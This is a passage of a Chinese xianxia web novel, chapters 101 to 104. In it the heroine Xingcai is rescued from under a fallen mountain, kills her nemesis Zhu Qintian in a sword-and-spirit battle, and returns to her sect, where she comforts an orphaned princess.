荇菜的灵息追踪之术被破。她的神牵之术也迅速回转。
神识通行的空间虚化，荇菜感应到一缕熟悉的气息，寄赋一道灵识在模糊的人影身上。
朱琴天活下来，看着一地罗刹尸体，呸了声：“没有水玲珑，还有青衍镇。妖女，你一直在盯着我。这次我就看你还能藏多久！”
“嗬……”
长恨钟里的荇菜收回神识，捧住脑袋，“刚才的人影是谁？割裂神识这么痛吗？嘶……黄椒怎么忍得住分割神识造人，又裂元神给分身？”
荇菜踉跄着回蜃珠洞境，盘坐在木屋地板上吐息。
若不是吃不了痛，也该走爸爸的路吧。该死，与长恨聊过后越发抑制不住想思念他们！
以前就怕想，一想就想哭……一直忍
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着不想不哭……适才看到水玲珑护女儿的举动，更是难受。
全怪长恨！这人丧得太影响人了。
荇菜分割出去的灵识落在金猴姐的身上。
金老板感觉背后发凉，脑海里无端想起荇菜：“小荇这家伙不知道在哪逍遥快活。哼，老娘想她干嘛？”
路人甲：“你们听说最近的挖宝潮吗？”
路人乙：“谁没听说呢。泽被湖上一日间被飞来石掩埋，凭空出现一座庞大山峰，淹没大半泽被湖。水浪还扑向百戴和西塔两国，淹了不少良田。怪也怪哉，那么大的水，这良田里的谷子竟然长得比水高，露头了。”
路人丙：“所以，大家都说那湖中巨峰藏有宝藏，灵气蔓延地脉，影响植被。说来也怪啊，百戴国和西塔国一起称呼此山为飞来峰。听闻山上闪耀灵光，不少人前去挖宝，这才有了挖宝潮。”
路人丁：“我还听说，两国掌权者不让国民靠近飞来峰，去得都是别国的修士、武者。不如，我们也去挖宝？”
……
金猴姐顶着纱帘，凑近道：“飞来峰上真有宝贝？”
三人听声识人，美女谁不喜欢？
他们再次热情地介绍一番挖宝潮，一起拥金猴姐上飞来峰寻宝。
泽被湖附近，聚集的人越来越多，金猴姐的队伍也壮大许多。
队里的男人对声音如莺啼的女子实在心痒难耐。夜间露宿时，他偷进金猴姐的帐篷，刹时现世聊斋，惊叫声响彻营地。
金猴姐给不要脸的男人一脚，踹断偷窥者的门牙：“我让你偷窥，让你没脸见人。”
“啊……金大美人呢？你是谁？”赶来的男人见金猴姐的样貌大喊大叫。
金猴姐叉腰怒吼：“你们这些以貌取人的狗男人，老娘忍你们一路了。本姑娘就是金大美女。”回应她得是一群石头和剑光，“你们别过分呀，别逼我动手啊……”
一场混战过后金猴姐站在人山巅峰：“本姑娘就是这么强。一群弱鸡也配同本姑娘进山挖宝，呸。”
金猴姐拎上一堆能入眼的金器、法器闯进飞来峰。
结果是一堆人不寻宝，专门上山找金猴姐的行踪，誓要讨回“公道”。
这日，长恨从冰雪大厅出来，立在木屋的门前，静静地站着。
如他此前守长恨钟、守冰湖一样。
荇菜缓过割裂神识的痛，察觉他的举动，打开木屋门。
她仔细地审视长恨的神情，读不明白，对着他坐在门槛上，笑望：“你一直这么被动？”
长恨默默地点头：“嗯。”
“你不打算救活长月？”
长恨垂眸，再次点头：“活了又如何，我们本无来生。”
荇菜看不得旁人丧成这副德性，快嘴回怼：“所以我们珍稀当下、现在、此时、每时每刻！”
青春期时，她也有丧得不行的时候，迷茫人生来的意义，未来又走向哪里？
那段混乱的时间里，精神奕奕、充满干劲的正能量爸爸、温柔善解人意的妈妈陪她挺过去。荇爸还非常理解女儿，让荇菜自由地选择人生方向。
荇菜的眸光露出狠辣：所以，没有人能阻止我，长恨也不行。若要我放弃研究裂魂破境阵，更不可能。
“我可以把长月的神识还给你，必须在我研究透彻裂魂破境阵的运作原理后，你能答应吗？”
长恨的眸光再次释放温柔：“我是来告诉你，长恨钟外异动，或许我们可以离开这。”
“真的？”荇菜立时蹦起，拉着长恨离开蜃珠洞境，出现在长恨钟下。
101. 第 101 章
长恨钟传来微弱地震动，应该是有人在外面扒拉山石传递过来。
荇菜想都没想就敲响长恨钟。回音震得两人头脑发胀，在玲珑球的火光里互相对视，齐齐笑出声。
长恨收敛笑意，见她急切的模样：“我收起长恨钟，你来支撑防护罩，只需半息即可，可行？”
“好。”荇菜施展灵力支起防护罩。
长恨钟消失得刹那，飞来峰的庞大压力轰然而下，荇菜一下子弯曲膝盖。
长恨反应也快，紧接着帮忙撑住大山的压力。
两人一起用灵力支撑防护罩，渐渐地额头密布细汗。
“太……重了。”荇菜咬牙，抽不开身手施展法术。
本以为修士的能力通天，翻云覆雨、排山倒海无所不能，没想到面对一座“大山”也会无能为力。
长恨也咬牙力撑，说不出一句话。
若是普通的山石尚且好说，但这是浮岛沉石。在高空时它轻若浮毛，在地后重比星陨，即使修士都不能轻易破坏它。
由此可见，攻打天龙道得必然是四尊当中的人物，而最有可能是入大乘境久矣的三生道泽萃。
“……何……欢。”荇菜想起还有个帮手。
“主人。”何欢从荇菜的额间花钿流出，感应到她的意愿，沿石缝流转而去。
挖宝的金猴姐感觉背后发凉，扒开的石缝里冒出一道灵光：“宝贝？”
何欢化为人形：“金……金老板？原来主人的灵识覆在你的身上，太好了。沿这个方向挖下去，主人被埋在下面。”
金猴姐压抑兴奋，装出一脸看陌生的神色。毕竟这宝贝有主，半天白挖。
“……没压死她呢？”
何欢：……
金猴姐嘴上嫌弃，但是更卖力地往下挖石头。她的力量堪比猴哥，浮岛落石虽重，却不在话下。
何欢已经惊到目瞪口呆：“主人这么吃力地撑着防护罩，金老板你却……这么简单就举起这些石头？”
“你不知道我是谁吗？星陨碰星陨，得看谁在时空里穿行得更久更坚硬啊。小荇竟然被埋？难怪我背后发凉，循着感觉往这边跑。妖女真是能搞事……”
何欢躲开她往后扔的石头，石头滚下坡，砸进泽被湖，发出沉闷的声响。
她弱声弱气道：“金老板，你先挖着啊，我去告诉主人一声你来了。她一定会很高兴，你努力哦！”
金猴姐微顿，眼见宝贝又流回地下，忍不住发笑：“小荇……会高兴？我的小荇……姐姐来救你啦。”
石头飞着往后落，噗通噗通声好不响亮。
荇菜得知金猴姐在外面，大松口气。
她不知道和长恨能挺多久，奋力撑着防护罩，让长恨再次拿长恨钟顶着上方。
这边，她也试着把浮石转移进蜃珠洞境。这些石头够重，说不定能打造点什么。
只不过，她若是挪石的幅度过大，整座飞来峰都会往下坍塌。
四日后，荇菜和长恨得见天日。
金猴姐将荇菜扑抱在地，又亲又揉：“小荇，这世上你最好。呜呜，你不知道我都糟什么罪。你看我的手，为挖你……肿了。”
荇菜一巴掌拍在她的毛手指。金猴姐不痛，荇菜反倒觉得手指疼。
“你是从石头里蹦出来，比浮石还硬，骗鬼呢。”
“我骗鬼做什么，我只骗小荇，骗回去过家家。”
“滚。本尊喜欢他这样。”
金猴姐瞬间瞪向默不作声的长恨：“这种货色能入你的法眼？他还不如我厉害呢。”叉腰瞪眼，龇牙咧嘴呲长恨。
长恨默默地撇开眼，转向已经可以见到边的泽被湖。
他以前在高空望下，泽被湖算是不错的风景，汪洋水泽更是缥缈，如今已经沧海桑田、天翻地覆大变样。
荇菜被金猴姐噎了口，选择给她一个大大的拥抱：“谢你啊，金老板。这次要不是金老板，我不知道被埋在地下多少年。”
“哈哈哈……没我不行吧。小荇，你让我跟着你吧。求求你了，别再让我落单，黄椒不在，天下真得没什么乐趣啊。”金猴姐闪着布灵布灵的眼睛紧紧地盯着她。
荇菜默然，慢悠悠地环顾此间的山石丛林：“浮岛灵气让草木生机盎然，这么快就掩盖天龙道下沉人间的事。
他，真的不在了吗？”
金猴姐抱胸：“本体肯定不在。你忘记啦，他助我成型，我有所感应。这天下到处是他，却又都不是他。在这个寰宇，你称他为创世父神也不为过。”
长恨愣顿，这是对黄椒更高更新的解读。
有一点长恨可以确信：“他不可能死。集结元神，或可复生。你的脑海里有天地同心命契，他把赌注压在你这里。”
金猴姐瞪眼，震惊地看向荇菜：“小荇……你结过天地同心命契？同黄椒那老小子？天啊，那我不是晚了一步。”
荇菜不想搭理两人的话，却想起朱琴天那厮一定还活着。这次，她绝不会再放过他。
“金老板，今天开始我们是妖猴组合，畅行天下，扫尽天下不平事。走。”
金猴姐的失落瞬间荡然无存，一脸兴奋：“好，妖猴组合……咱们去哪？”
山下有人发现山头大喊大叫的金猴姐，发灵信召集同伴：“妖猴在这……快，咱们找她报仇。”
荇菜定睛看下，一大群男人往山上爬：“金老板，你惹什么了？”
妖猴组合还没出世就要单飞？
“没事没事，这些俗不可耐的凡人嫉妒本姑娘的美貌想追求我。我才不理他们，我们快走。”金猴姐拽上荇菜往山得另一头奔去。
长恨挪脚尖，用力一跺。山石下滑，两人出来的洞口重新被浮石掩埋。他见荇菜回眸望来，迟疑一瞬后选择跟上去。
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“羽法尊，找到长恨长老。他和一名女子，一只猴妖在一起，在西塔国的莲雾镇。”
羽化生瞬间激动，又按捺着坐下，低声道：“应该是她。浮岛沉落时她也在岛上。”环顾望来的三十五名天龙道弟子，长吸口气道，“你们随我一起迎接——天尊道侣。”
“什么？”天龙道弟子面面相觑，露出惊讶神色：道祖天尊什么时候结侣？
**
西塔国的酒楼包厢，荇菜折下壁角的盆景花枝，扬手一拂，花瓣以三列三数排布。她按皎月的卦道传承推演，得出所寻之人在东南方。
“东南？”荇菜抱胸走来走去，换位推测朱琴天的行动：若我是朱
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琴天，要报复毁我气运的仇人，现在会怎么做呢？
她想起朱琴天得那句话：接下来，我要你生不如死，与你相熟的人通通为你黄泉开道。
“青螺镇、天缨城、水玲珑……东南方，青衍镇还是合欢宗？”
金猴姐把桌上花瓣拢去一边，食物上案，开心地吃吧起来。
长恨自取酒杯，倒酒浅酌。
金猴姐瞪他：“喂，死人脸。你会不会照顾女孩子，怎么只管自己喝？”
从没照顾过人的长恨：……
他取酒壶给金猴姐倒一杯，见她马上绽笑，也给荇菜那边倒一杯。
酒盏推去，加上金猴姐推花瓣的举动，正好形成全新的变卦。
荇菜一眼瞟到新的卦象，瞬间蹙眉：“测友，大凶。”
金猴姐才吃两口就见荇菜出门，跳起追去：“哎……怎么走啦，还没吃呢？你不会同拘缨国的神棍一样，跨个脚都算人吉凶吧？”
荇菜蹙眉回头：“来不及了。我先走一步，欧丝青衍镇。”
一出门，人就遁空离去。
金猴姐和长恨面面相觑。
金猴姐：“什么妖猴组合，没义气，又丢下我。死人脸，要不咱们再回去吃一点？”
长恨看向长街上站着的羽化生，轻叹口气道：“我们还是去追她吧。”
“啊？”金猴姐还没反应过来，被长恨拎着遁入空间，去追荇菜。
羽化生朝身后两人道：“本法尊先走一步，你们看顾好岛民，以及门中弟子，等尊后和长恨长老回来，再从长计议。”
“是。”金盏和三苦应下，目送他追去。
**
青衍镇上一片死寂，人烟萧条，杂物凌乱，似经历过一场浩劫。
荇菜瞬移至青衍书局门口，石阶沾血，柜面坍塌，书本落了满地，无从下脚。
她走至后院，院子里虽乱，尚可入眼，但也是空无一人。
“朱琴天是疯了吗？”
荇菜转到周老夫人的院子，老人家正靠在树下的躺椅上，一晃一晃地摇动着。
她走到扶手旁蹲下身，阻止摇动的躺椅，轻声喊：“周老夫人。”握住老夫人的手，给她渡入一丝灵力。
周老夫人缓缓地睁开眼睛，转望荇菜，眼神从陌生渐至熟悉，抬起皱皮的手颤巍巍地摸上荇菜的脸颊：“荇姑娘啊，你回来了。”
“对不起。”荇菜阖目躺下两行泪，“对不起，周老夫人，全怪我……全怪我……”
“别自责。多谢你，没有你，我哪能享这二十多年的福。没有你，蕙永怎能如此幸福……”周老夫人的眼神放空，看向灰败多云的天，“檀儿说他会经常回来看我……我一直在等，在等啊……”
鲜血滴落在摇椅下，凝结成一小团。回光返照后的周老夫人睁着眼看向天穹，希望能再次看到儿子归来。
荇菜吞下哽在喉口的涩然，缓缓地站起身，合拢周老夫人的双眸：“对不起，周老夫人，项檀……他永远不会再回来。”
眼神倏忽变冷，荇菜望向立在墙上的黑影：“朱琴天……你不得好死！”
“呵，你敢吗？合欢妖尊。”朱琴天阴冷地笑着，目光看向对面的院墙，“有人比我还心急着要你的命。”
102. 第 102 章
道璇玑手持血樱戟立在后院墙上，冷笑着看向院中回头的荇菜。
荇菜看到是她，冷哼：“当年的涅火凤翎没要你的命，真是可惜。”
道璇玑：“真会说大话。若非羽化生那厮给你掩护，你以为有机会靠近我？今日你更没机会。短短时间靠见不得人的功法提升修为，不过是虚有灵力的废物花瓶。”
怼人最怕诛心，脸皮已厚的荇菜也善此法。
“你师兄道生花的修为在我这呢。想要啊？下来拿啊！”
道璇玑的怒火瞬间被点燃，飞身而起，旋血樱戟，直刺荇菜：“我让你勾引师兄，去死！”
荇菜旋身把摇椅连带周老夫人收入蜃珠洞境，以九阳剑诀身法，行云流水间转攻另一侧偏弱的朱琴天。
朱琴天收缩阴戾的瞳眸，奋力一握冥神剑。数十道妖元从冥神剑柄的阴灵珠中游出，齐齐攻向袭来的荇菜。
该死的女人，这是我的底牌！
荇菜旋身后撤，被妖元攻回院落。听金猴姐说，十方山寺的佛笼已经打开，世上再无恶灵妖元。这朱琴天手上的妖元从哪里得来？
“这些是当初十方山寺一战，被亲人救走的妖元。如今，他们吞噬青衍镇人的血肉灵魂，更强更戾。”
荇菜赤目欲裂，气得一声不吭，旋手握流苏灵剑，转身狠狠地抗住血樱戟。
她知道此时不是被怒气冲昏头脑的时候，不可以与道璇玑硬碰硬，趁这口喘息的机会遁空后撤，绕到朱琴天的后方，以炙火剑气，狠刺而去。
朱琴天也已今非昔比，最初惊慌过后，已经老辣地持剑后斩。
剑与剑相撞，流苏灵剑竟被妖邪以自焚的方式腐蚀，被冥神剑当场斩折。
冥神剑携带煞气和十数妖元，再次直攻荇菜。
荇菜瞬移后撤，又被道璇玑劫道，被拦半空。
朱琴天胜券在握，洋洋冷笑：“合欢妖女，当年在青衍镇让你活命，今日你就死在此处。我要弥补当初的错误。”
荇菜的目光凝向朱琴天的头顶，上面已经没有剧情大神的字牌。
如今的朱琴天无恶不作，剧情大神若有正义之心，就该放弃这位男主。
但是，朱琴天对荇菜的所作所为已经生出执念，脑海里只有一个念头：回归最初的起/点，让一切错误得以纠正。
道璇玑恶劣地冷笑着：“狗咬狗，一嘴毛。没有剑的修士就是没有爪的猫。”
荇菜暗瞪道璇玑，再次回怼：“道生花当你是妹妹，你非得倒贴他。猫都比你活得好，活得有价值。”左袖袍下并拢手指，祭出灵力放在唇瓣，默念鬼卦讣词：“诸神有灵，万邪归元，引神攻邪，急令玉敕，去。”
法诀敕令散向青衍镇，无数的白色怨魂蒸腾而起，纷纷向朱琴天袭去。
朱琴天诧异地后撤，被身后的怨煞缠绕，引动脑海里被荇菜植入的鬼卦之术。
他的眼前恍惚，无数的恶灵飞扑来索命。
“啊……走开……冥神剑……杀……”
凶煞妖元护主，飞绕在朱琴天的周围，却被他当作怨魂劈斩。
道璇玑磨着牙，切了声：“天净宗的雕虫小技。没有废物碍事也好。妖女，我们的账从现在开始算。”
荇菜也冷笑，祭出万音铃，叮叮当当声直扑道璇玑。
道璇玑知道她的惑术厉害，但依旧不退反进。
血樱戟狠狠地砸向万音铃。
铃铛里的幸运石一震，万音铃幸运地躲开血樱戟。
涅火凤翎化为匕翅，在荇菜的御使下，燃烧着火焰，袭向道璇玑。
道璇玑受过凤翅之痛，潜意识就避开凤翅的攻击。
万音铃里的凤凰珠相撞，一道与鲛珠结合的冰火结界趁此机会控制道璇玑的周围。荇菜谨记趁你病要你命的战斗秘诀，张手一握，比人长的长月剑凭空出现，狠狠地斩向被锁在冰火空间的道璇玑。
道璇玑稍许震惊，御使血樱戟回防，挡住长月剑芒。这次碰撞之下，血樱戟被愤怒的荇菜以长月剑斩出一道裂痕。
道璇玑破开万音铃的控制，握住血樱戟，气得发疯了。
她正要拼命，四周的空间异动，感受到死敌羽化生的气息，当即后撤：“妖女，你真是幸运，但你不会永远幸运下去。天下已是我三生道的天下，洗干净脖子等着吧，哈哈哈……”
她没管院中的朱琴天，独自一人撤退而去。
荇菜持握长月剑，周身凛冽英飒，正待踏空追击时，羽化生已立在面前碍事。
羽化生察觉到道璇玑的气息，先一步追击过去：“道璇玑，休走。”
他管不上荇菜，追着道璇玑的气息而去。
荇菜斜瞥眼浮动的空间线条，扫向后方被怨魂侵蚀纠缠而嘶吼的朱琴天。
她漫步上前，口中念念有词：“诸神有灵，万邪归位，急令玉敕，散。”
青衍镇的怨魂尽皆飘散，回归地下。
“嗬嗬……”
朱琴天一下子跪在周老夫人家的院子急切地喘息着。缓过劲后，他手握着冥神剑站起身，恶狠狠地仰看荇菜。
此时得他已经被慌张、仇恨蒙蔽，看不到虎视眈眈的长月、金猴姐等人，眼里只有面美性恶的荇菜，脑里只有一个念头：杀了她，夺回本该属于我得一切。
这个念头无端而起，却是从灵魂深处而来。这份渴望让他不顾一切，愈发疯狂。
“怪你。若没有你，我不会是现在这个模样。杀了你，杀了你，杀了你……”
“呵，”荇菜骄傲地俯视他，“没有我，你也是个烂人。如你所说，你在青衍镇外的青山洞窟发家，今日也会在此处灭亡。”
荇菜又等一息，剧情大神的字牌依旧没有出现。
这说明剧情大神真正地放弃朱琴天，那这次，朱琴天必死！
荇菜仰望苍穹，持剑向天。阴云退散，阳光照耀青衍镇，落在耸天的长月剑尖，像是女神的金色权杖。
但她说出的话一点都不客气：“天道，你看着啊，这就是你的天选之子。今日，我，合欢妖尊要让他死在这。
天罚，有本事你罚本尊啊。”
观战数人静默无言，齐齐往后撤步。
长月剑独特的长度和金色的剑芒威震四海，可撼天动地。
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荇菜双手握住长月剑柄，凝聚毕生的化神修为，狠狠地向下斩去：“啊……”
朱琴天手持冥神剑抵挡长月剑芒，冥神剑上、阴灵珠里的妖邪尽数出动，在长月剑散发的功德力量下还未起作用就被净化一空。
荇菜咬牙切齿，再用力，紫眸绽金火，映得她宛若修罗魔女：“你去死啊！”
长月剑芒下行，冥神剑往下一沉。
剑芒砍入朱琴天的肩骨，鲜血淋漓而出，翻滚而出的黑色魔煞之气在剑芒的功德力量下被净化。
荇菜察觉不对劲：这把剑……不杀人！只会净化！
以她化神的修为本可裂地成沟，却是剑芒入地，灵力散向四周，成为抚育生灵的生机能量。
“你大爷黄椒，这什么破剑？”
荇菜旋身一剑化九，催生精魄真火，以纯阳剑诀，炙火剑力再次横斩被震住的朱琴天。
朱琴天被狠狠地斩扑在地，周身驳杂的灵力抗住九剑后尽数散去。他吐着血，匍爬着去握冥神剑，却被冥神剑的阴邪之力排斥。
猩红的双目渐趋清明，长月的功德剑芒让他醒悟几分。但他依旧愤怒地看向发疯般要赶尽杀绝的女人：“呵……呵呵，你杀不死我。妖女……你杀不死我……我是天道之子，你杀不死我……你杀不死我……”
荇菜几次横斩，长月剑再没有释放剑威，这是来自长月剑对杀心的排斥。荇菜不罢休，转眼摄取断裂的流苏长剑，迅速突进，直刺刚刚起身的朱琴天的脖子。
滚烫的血扑了她一脸，断剑口入肉的感觉传递入掌心，就像许多年前回忆起青山洞窟外，两指断人颈骨的滑腻……荇菜盯着朱琴天已经清醒却混浊的眼睛完全地冷静下来。
她闭上眼，血泪滑落颊下，复又睁开。
“从现在开始，我是主角了。朱琴天，你败了。”
荇菜咬牙抽身一拔，流苏剑离开朱琴天的脖子。
朱琴天缓缓地跪在地上，清明的双眸仰看被血花溅射的女人，慢慢地拉起唇角。
那个青山洞窟里得一幕重现眼前，傻愣的女子持剑冲来……其实，她很清纯、美好，比起她的师姐更像一朵清水芙蕖，只是，她持剑而来……仅仅因为她持剑而来……
“嗵”得一声，朱琴天倒在荇菜的脚边，血液漫向四周，沾染荇菜洁白如雪的登天靴。
荇菜低头看向手中的剑柄，银白色的流苏沾血，再也洗不干净。
“爸爸，在这个世界里，我终究还是没有守住底线。”
长月剑的剑身轻闪银华。
荇菜满身的血污瞬间消失不见，连流苏长剑的流苏也恢复干净。
她愕然地看向漂浮在眼前的长剑，下意识握住长月剑独特偏长的剑柄。
剑身浮现一双含笑的眼睛，右鬓眉尾的阳鱼如旋涡，缀得他有些放浪不羁。
眼睛会说话，传递入心：娘子别怕，天命之子已死。从此后，你再无生命威胁。变数入局，逆转乾坤，这就是你的能力。
“黄……椒……”荇菜喃喃道，手指微松，长月剑轻晃，重新回到万音铃的铃铛。
万音铃落回荇菜的掌心。
103. 第 103 章
战局落幕。
金猴姐上前揽住荇菜，无声地拍在她的后背安抚。
长恨落地上前，盯在朱琴天的尸体。
朱琴天体内的元婴察觉到危机，主动疾飞出体，被长恨的拳气击落，炸成驳杂的灵力，散向天地。
荇菜抵在金猴姐的肩头，愣怔地看向长恨：……忘记元婴不死，元魂不灭。丢人丢大发了。
长恨默默道：“我杀的。”他移开目光，不再与荇菜对视，神思横扫没有人气的青衍镇，“本就该死，此镇无一生还。”
荇菜垂落眼神，喃喃道：“全都怪我。”
“此处的生魂还在地下徘徊，冥神剑上的阴灵珠吞噬镇民的血肉。若是他在这里，可以让青衍镇人复活。”长恨不忍她难过，道出事情转圜的机会。
跑回来的羽化生没落地就先接话：“不错。当年，大妖美兕蛊惑人修攻打十方山寺，妖邪尽出，祸乱高昌百姓，以至于尸骸遍野。
师尊出手，救活无数死去的人。”
金猴姐想起昆山大水，也道：“当年，我降落此界，引动山洪，淹掉无数人的家园、害无数人死去，也是他再次造就昆山、山泽两国。”
荇菜环顾他们，生出质疑：“他真是创世神灵，可以挽回他人的性命？”
金猴姐刚点头又僵住：即使黄椒，在大水中也有选择不救的人。
“不确定？”荇菜读懂金猴姐的意思，又问长恨，“他不是神罚囚徒吗？”
长恨默然：黄椒活得比谁都久，没有人真正看透过他。
羽化生走近道：“他确实被囚禁此界，但他也是创造这个世界的神灵。星辰塔里的十方星环是镇压他的存在。他也守着星辰塔，不让十方星环破坏世间。
你喊出得那句话我听到了。
天道一直以祂的方式捆缚师尊，不让师尊脱离此界。因为师尊一旦离开这片寰宇，意味这方世界会顷刻覆灭。
这是神罚、师尊演化世界后生出的天道，以及师尊本人的三方博弈。”
荇菜没明白他的意思：“黄椒究竟是什么？谁在罚他？究竟谁才是神？”
羽化生无法回答这几个问题，因为这是连他这个徒弟都参不透的事。
他选择单膝跪下：“师娘，这世上能让师尊归来得只有你。天命之女，天命之敌，可以杀他困他救他的人，正是你。”
荇菜被喊得后退一步。羽化生变了，不再是那个高高在上的三生道护尊。
但是，荇菜没有变，想要得依旧是那几个目标。
“我……要冷静一会。”
荇菜选择转身离去，奔向合欢宗的莲花峰。
羽化生扫眼地上朱琴天的尸体和冥神剑，长出口气。
他拦住想要离开的长恨，递上冥神剑：“她心中有愧，此镇百姓皆因她而亡。等她反应过来，必后悔不已。现在是护下此地魂魄的最佳时机。
若再迟片刻，即使师尊复活，也无法救回这些人。”
长恨思量片刻，拿过冥神剑，朝金猴姐颔首，飞身上青衍镇的半空。
他持剑御灵，阴灵珠开裂，散出丝丝阴气。
冥神剑下坠，直插地脉中心，拢起镇内无数的枉死魂魄。
长恨钟出，变大无形，笼罩整座青衍镇地界，护住这些徘徊不去的不甘魂魄。
长恨朝羽化生道：“此法只能暂时固缚青衍镇人的魂魄。若想要他们复生，须得在冥神剑吸收完阴灵珠内的血肉前完成。此外，必须赶在冥神剑的阴气将此地魂魄侵蚀成怨灵前。否则，一切前功尽弃，即使黄椒再世，恐也无转圜余地。”
金猴姐：“只有他才能办到此事，对吗？”
羽化生肯定道：“是。师尊他无所不能，只有他才能办到此事。”
金猴姐不服气：“既然这样，他为什么选择裂魂散神？真是没用，他让小荇这么难过。”
羽化生：你确定她是为师尊难过？
“师尊自有他的用意。”拦下打算离开的长恨，躬身请道：“长恨长老，三生道已经在各地建坛，请尽快返回泽被湖，召集天龙道弟子和天下正道修士主持大局，不让天下生灵涂炭啊。”
长恨眺望合欢宗的方向，摇了头：“我已经选好归处。”又转向一脸失望的羽化生，“十方寺佛笼得解，圆空主持还在。
皎月已死，天净宗的宗主月净尘还在。金沙虽是昆道宗老祖，但不问世事久矣。若天下罹难，昆道宗真会坐视不理？
天龙道可以灭亡，天下人不会亡。
道祖天尊划定十国八宗，就是希望凡人归凡人管理，修仙者归修仙者管理，互不干扰。但是，三生道人行事截然相反，搅乱天地气运、势力分布。
羽化生，你真正要做得是游说各地，再次集结修真力量，抵抗三生道，完成他本该做的事。
至于人间的政局变迁，凡人爱强、寿短，总要有人出头管他们。”
羽化生目送他带金猴姐离去，扶额道：“长恨长老也是师尊的分身，怎么一点都不像师尊。明明他就守在浮空岛呀。”
行动的方向已有，羽化生不能在此地久留。他招来门徒金盏，让他守在合欢宗附近，一旦合欢妖尊异动，就尽快回禀。
**
荇菜站在莲花峰的三角梅树下，仰看火红的大树，宛如秋日的青螺镇枫林，让人觉出美好。
“峰主，回来了。”赖管事向荇菜行礼。
荇菜回头看他，盛丽的面容让赖管事惊艳，但他极快地恢复正常。
“赖大，你不一样了。”
赖管事垂身含笑，点头道：“多谢峰主教诲。赖大日行三善，玉华镇的人都说我受菩萨点化，将来可以修成正果，呵呵……”
“原来是这样，难怪你周身气息祥和平静。你的后院怎么样了？”
赖管事爽朗的笑声戛然而止，难为情道：“哪来后院啊。子女已各有奔头，小儿子带儿媳妇和他老娘去青衍镇扎根，日前托信回来，说学我在青衍镇做善事呢。
大女儿说，玉华镇的好事都让我做了，她们啊奔外头去做好事。
嗐，这年头好好活着就好。各地战乱，修士失踪，乱得很啊。赖大担心他们，但也就这点本事和能力，只能多做好事，祈祷他们平安。”
荇菜的神色微僵，一言不发地面向远处的果园。
赖大知道峰主的性情不
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定，以为这次历练回来有所改观，看来还是老样子。他躬身行礼，告了声罪，自去忙碌。
荇菜回身看他离去，默默地坐在三角梅树下的石凳发着呆。
半月尊者立在荇菜的面前，勾起徒儿的下颚，瞧见一张受了委屈的绝色面容。
“本尊以为你回来也就元婴后期，竟然入化神。你的运道真是叫人望尘莫及。”
荇菜起身行礼：“师尊。”
半月尊者见她让座，也没坐，而是将荇菜抱进怀：“孩子，受苦了。”
一瞬间破防，荇菜却已哭不出来，紧紧地抱住半月尊者，感受对方的体温，哽声道：“师尊……”
半月尊者没有问她一路的历练内容，陪她坐到日暮西山的黄昏时刻。
黄昏的三角梅绚烂地宛如火烧云，盛放着，枝叶招摇，但它不轻易落叶。
它是一种热烈、坚韧不拔的花树。
“为师初见花涟，他就是一个谨慎不敢多言的孩子。我建议他种下这棵树，告诉他人生的希望就像此树，而一切地等待都会迎来终点，不论是盛放或枯槁。至少，他等过，期待过，也爱过……
三角梅有个很好听的别名：爱无伤。没有真爱是一种悲伤，有了真爱宛如此花，灿烂人生。
徒儿，为师不知道你在困苦什么。但是，你已经走在此道，何不继续灿烂地走下去。”
“师尊。”荇菜看着半月尊者消失，默默地仰看巨大的三角梅树，静待着它被黑夜笼罩，又在月华下招摇。
一直到天亮，荇菜看到赖大来禀。
赖大：“两位自称是峰主的朋友，已经下榻山腰待客殿。另外，欢喜峰的贺喜长老来问：峰主可有见过他的弟子青柑。”
荇菜摇头道：“浮空岛陷落后我就没见过他。”
赖管事忍不住撩眸看向荇菜，峰主收敛以往的凌人尖刺，变得越发沉着冷静。历练总归是有好处。
“喜佛峰水幻仙子请见峰主，正在峰下等候。”
荇菜又问了一遍，确定是水幻仙子，不解道：“以前这些人都是直来直往，这次怎么各个递帖拜见？”
赖管事与有荣焉：“自然是峰主已经今时不同往日。欧丝国和山泽国连襟，得到直通天龙道的航运，虽说天龙道败落，但是航线依旧在运作。百姓们只道合欢宗好、莲花峰峰主济世救民。他们只管吃饱穿暖、生活富足，何管天下谁管事呢。
其次，峰主现在是化神修士呢。论修为，仅次于宗主清欢尊者。”
“是啊。”荇菜忽然应道：这个世界的百姓管不上天下谁当权当政，重要得是他们安稳富足。
“你请她上来吧。”
水幻仙子不是一个人来，带来小小只的崔天行。
“这个孩子说要拜您为师，我就惦着脸求上门。”水幻仙子推了一把崔天行。
崔天行就跪在荇菜面前躬身磕头，被荇菜的灵力扶正后，小小的漆黑眼珠一瞬不瞬地盯着她。
荇菜察觉到孩子的特别，柔声问：“你母亲呢？”
崔天行一声不吭，转望水幻仙子。
水幻仙子叹了声：“玲珑伤重，来得时候就已经不行了。”
104. 第 104 章
水幻仙子为玲珑的事也是悲伤不已，收到消息赶去时已然迟了。
“宗主出手救玲珑，依旧无力回天。章鹏把孩子一丢，说是玲珑临终前说：若能拜你为师，是这个孩子的福气。随后，章鹏养几天伤就走了。
在外的合欢弟子传来消息，章鹏回山泽，向蛇瞳妖道发生死帖，本想救出山泽国主。如今，他已经下落不明。
这个孩子就留在我身边。但是，我始终走不进她的心，无法与她交流。幸好你回来了，遂才带她来拜见你。”
荇菜想起神牵之术时看到的画面：罗刹杀手砍向崔天行，玲珑拼死护下那一剑，却究竟没能挺过去。
面对一声不吭的崔天行，荇菜拉她起身，轻声道：“我的功法不适合你。”
崔天行瞪大漆黑的眼珠，酿上泪意，如枝头的冬雪一样无声地扑落。
水幻仙子的神情变了，越发哀伤。
荇菜蹲下身，平视崔天行湿润的透亮眼睛，紫光滑过眼瞳，轻声重口：“不准哭。你母亲说过：你是山泽的太女，未来的天下共主，怎么能哭呢？”
崔天行在她的紫眸里看到过往与母后在一起的欢乐。
小小的面容露出复杂的神情，最终转为清醒地惊愕，也想起密林里母后说得那些话，以及母后临终前的交待。
她哇得一声哭出来：“哇……呜呜呜……哇……母后……呜呜……”
“这孩子……出声了。”水幻仙子忍不住抹泪，“玲珑去后，她一直没有出过声。”
荇菜紧紧地揽住崔天行，拍在她小小的后背：“你的母后若是知道她的太女这么脆弱会不高兴的。”
崔天行赶紧抹眼泪，抽噎道：“天行不哭。天行不哭……天行要报仇。行姨姨教天行报仇。天行不哭……”
荇菜抚摸崔天行的小发鬏，朝水幻仙子道：“她以后是天下共主，我们合欢宗的功法不适合她。我修行的九阳剑诀需要纯阳之体，同她的体质不合适。
倒是天净宗的卦阵之道还算凑合。但是，哪有未来的女皇靠算命上位。”
水幻仙子想象那场面，忍不住笑出声，拍在天行的小脑瓜子。
“别哭，天行。你行姨姨是在为你考虑。”
